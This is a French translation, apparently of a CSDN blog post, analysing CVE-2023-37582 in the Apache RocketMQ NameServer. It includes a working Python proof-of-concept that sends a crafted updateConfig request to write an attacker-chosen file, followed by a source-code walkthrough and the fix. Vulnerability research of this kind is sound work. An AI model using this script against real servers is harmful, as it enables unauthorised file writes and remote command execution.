CVE-2023-37582 Vulnérabilité d'exécution de code à distance Apache RocketMQ

94de55247dd138a9c57721a998e4cc01.jpeg

Profil de vulnérabilité

Apache RocketMQ est un middleware de messagerie distribué avec une faible latence, une simultanéité élevée, une haute disponibilité et une grande fiabilité. Dans CVE-2023-37582, en raison de la réparation imparfaite de CVE-2023-33246, lorsqu'il y a un accès non autorisé à Apache RocketMQ NameServer, l'attaquant peut créer une requête malveillante pour exécuter des commandes en tant qu'utilisateur système exécutant RocketMQ.

Version concernée

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

Construction de l'environnement

Reportez-vous à Apache RocketMQ Remote Code Execution Vulnerability CVE-2023-33246 Environment Setup

Toujours pour la commodité du débogage, nous construisons des services liés à RocketMQ sous linux et utilisons le code source pour démarrer

Au total, deux services doivent être en cours d'exécution

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

Commencez par démarrer NamesrvStartup, puis démarrez BrokerStartup et vous devez configurer la variable d'environnement ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

ce259a67f9336d848a4974094c449948.jpeg 6562608b2162b6b6fcf7046c9b89ba6c.jpeg

Récurrence de la vulnérabilité

exécuter un script python

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
0c9a849138989601b1aaf0d15cfb9375.jpeg db6dfca204f2e35fff6b4c65bf2dfe8f.jpeg

Écrivez avec succès le test de chaîne spécifié dans le fichier test.txt sous le répertoire tmp

Analyse de vulnérabilité

org/apache/rocketmq/remoting/protocol/RequestCode.javacode signifie appeler différentes fonctions, à ce moment, l'opération de configuration de la mise à jour 318 est appelée

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

339c1c64817c0b2140c5eb6c36a918f2.jpeg

Selon le code correspondant, la fonction correspondante sera appelée pour le traitement

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

e3e2f76be6dfa323c0d1798843d4b087.jpeg

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

86a2d7447cc3571a9c52021fa3655c77.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

a998daed5aee9f59a283e7f60dc314f1.jpeg

Déterminez d'abord s'il s'agit d'un attribut contrôlable

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

7085a69b00298b69c6a00b5b35096846.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

789143faf5c9b3c921465bc7096d4902.jpeg

Appelez  getStorePathpour obtenir le chemin du fichier, et la valeur obtenue à ce moment est la valeur de configStorePath

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

e841b4f02e0a11ea9ac523e006008c76.jpeg

src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

682779227b07affabc38b789e29a59cc.jpeg

src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

f1d3eb33fa5177e262af109cf983e78b.jpeg

Corrections de bogues

Modifier le paramètre qui désactive la modification du chemin de configuration

472dbac233e74fd8173fe7202843331b.jpeg

Appel à manuscrits originaux

Appel à articles techniques originaux, bienvenue à poster

Courriel de soumission : [email protected]

Type d'article : technologie hacker geek, points chauds de sécurité de l'information, recherche et analyse de sécurité, etc.

Si vous réussissez l'examen et que vous le publiez, vous pouvez obtenir une rémunération allant de 200 à 800 yuans.

Pour plus de détails, cliquez sur moi pour voir!

66eca8269d9c23fc74bb190f293f930c.gif

Entraînement au champ de tir, cliquez sur "Lire le texte original"

Je suppose que tu aimes

Origine blog.csdn.net/qq_38154820/article/details/132033601
conseillé
Classement